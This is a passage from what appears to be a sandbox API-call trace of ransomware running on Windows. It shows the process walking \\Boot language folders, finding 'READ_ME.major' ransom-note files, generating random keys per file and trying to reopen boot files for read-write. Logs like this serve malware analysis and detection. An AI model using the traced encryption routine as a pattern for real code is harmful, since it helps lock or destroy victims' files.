out: hHeap=0x570000) returned 1 [0143.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f428 [0143.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f428 | out: hHeap=0x570000) returned 1 [0143.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40648 [0143.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0143.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0143.598] FindNextFileW (in: hFindFile=0x60f3e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0143.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0143.598] GetLastError () returned 0x5 [0143.598] SetLastError (dwErrCode=0x5) [0143.598] GetLastError () returned 0x5 [0143.598] SetLastError (dwErrCode=0x5) [0143.598] GetLastError () returned 0x5 [0143.598] SetLastError (dwErrCode=0x5) [0143.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0143.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0143.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0143.598] FindNextFileW (in: hFindFile=0x60f3e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8158797, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8158797, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0143.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0143.598] GetLastError () returned 0x5 [0143.598] SetLastError (dwErrCode=0x5) [0143.598] GetLastError () returned 0x5 [0143.598] SetLastError (dwErrCode=0x5) [0143.598] GetLastError () returned 0x5 [0143.598] SetLastError (dwErrCode=0x5) [0143.598] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.598] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.599] FindNextFileW (in: hFindFile=0x60f3e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8158797, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8158797, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0143.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.599] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.599] SetFileAttributesW (lpFileName="\\Boot\\ro-RO\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0143.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0143.599] CreateFileW (lpFileName="\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0143.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0143.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0143.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e1b0 | out: hHeap=0x570000) returned 1 [0143.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2a0 | out: hHeap=0x570000) returned 1 [0143.599] FindFirstFileW (in: lpFileName="\\Boot\\ru-RU\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f168 [0143.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0143.599] GetLastError () returned 0x5 [0143.599] SetLastError (dwErrCode=0x5) [0143.599] GetLastError () returned 0x5 [0143.599] SetLastError (dwErrCode=0x5) [0143.599] GetLastError () returned 0x5 [0143.599] SetLastError (dwErrCode=0x5) [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee08 [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f128 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f128 | out: hHeap=0x570000) returned 1 [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee08 | out: hHeap=0x570000) returned 1 [0143.600] FindNextFileW (in: hFindFile=0x60f168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0143.600] GetLastError () returned 0x5 [0143.600] SetLastError (dwErrCode=0x5) [0143.600] GetLastError () returned 0x5 [0143.600] SetLastError (dwErrCode=0x5) [0143.600] GetLastError () returned 0x5 [0143.600] SetLastError (dwErrCode=0x5) [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f628 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f628 | out: hHeap=0x570000) returned 1 [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0143.600] FindNextFileW (in: hFindFile=0x60f168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.600] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0143.600] GetLastError () returned 0x5 [0143.600] SetLastError (dwErrCode=0x5) [0143.600] GetLastError () returned 0x5 [0143.600] SetLastError (dwErrCode=0x5) [0143.600] GetLastError () returned 0x5 [0143.600] SetLastError (dwErrCode=0x5) [0143.600] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0143.601] FindNextFileW (in: hFindFile=0x60f168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0143.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0143.601] GetLastError () returned 0x5 [0143.601] SetLastError (dwErrCode=0x5) [0143.601] GetLastError () returned 0x5 [0143.601] SetLastError (dwErrCode=0x5) [0143.601] GetLastError () returned 0x5 [0143.601] SetLastError (dwErrCode=0x5) [0143.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0143.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0143.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0143.601] FindNextFileW (in: hFindFile=0x60f168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817e9dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x817e9dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0143.601] GetLastError () returned 0x5 [0143.601] SetLastError (dwErrCode=0x5) [0143.601] GetLastError () returned 0x5 [0143.601] SetLastError (dwErrCode=0x5) [0143.601] GetLastError () returned 0x5 [0143.601] SetLastError (dwErrCode=0x5) [0143.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.601] FindNextFileW (in: hFindFile=0x60f168, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817e9dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x817e9dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0143.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0143.601] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.601] SetFileAttributesW (lpFileName="\\Boot\\ru-RU\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0143.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0143.602] CreateFileW (lpFileName="\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0143.602] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0143.602] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0143.602] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.602] SetFileAttributesW (lpFileName="\\Boot\\ru-RU\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.602] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0143.602] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0143.602] CreateFileW (lpFileName="\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce18 | out: hHeap=0x570000) returned 1 [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0143.602] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2f0 | out: hHeap=0x570000) returned 1 [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e390 | out: hHeap=0x570000) returned 1 [0143.602] FindFirstFileW (in: lpFileName="\\Boot\\sk-SK\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f428 [0143.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0143.602] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0143.602] GetLastError () returned 0x5 [0143.603] SetLastError (dwErrCode=0x5) [0143.603] GetLastError () returned 0x5 [0143.603] SetLastError (dwErrCode=0x5) [0143.603] GetLastError () returned 0x5 [0143.603] SetLastError (dwErrCode=0x5) [0143.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0143.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0143.603] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0143.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f468 [0143.603] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f468 | out: hHeap=0x570000) returned 1 [0143.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0143.603] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0143.603] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.603] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0143.603] FindNextFileW (in: hFindFile=0x60f428, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.603] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0143.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0143.603] GetLastError () returned 0x5 [0143.603] SetLastError (dwErrCode=0x5) [0143.603] GetLastError () returned 0x5 [0143.603] SetLastError (dwErrCode=0x5) [0143.603] GetLastError () returned 0x5 [0143.603] SetLastError (dwErrCode=0x5) [0143.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0143.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.603] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f5a8 [0143.603] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f5a8 | out: hHeap=0x570000) returned 1 [0143.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0143.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0143.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0143.604] FindNextFileW (in: hFindFile=0x60f428, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0143.604] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0143.604] GetLastError () returned 0x5 [0143.604] SetLastError (dwErrCode=0x5) [0143.604] GetLastError () returned 0x5 [0143.604] SetLastError (dwErrCode=0x5) [0143.604] GetLastError () returned 0x5 [0143.604] SetLastError (dwErrCode=0x5) [0143.604] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0143.604] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0143.604] FindNextFileW (in: hFindFile=0x60f428, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817e9dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x817e9dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0143.604] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0143.604] GetLastError () returned 0x5 [0143.604] SetLastError (dwErrCode=0x5) [0143.604] GetLastError () returned 0x5 [0143.604] SetLastError (dwErrCode=0x5) [0143.604] GetLastError () returned 0x5 [0143.604] SetLastError (dwErrCode=0x5) [0143.604] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.604] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.604] FindNextFileW (in: hFindFile=0x60f428, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817e9dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x817e9dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.604] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0143.604] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0143.604] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.605] SetFileAttributesW (lpFileName="\\Boot\\sk-SK\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.605] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0143.605] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0143.605] CreateFileW (lpFileName="\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0143.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) 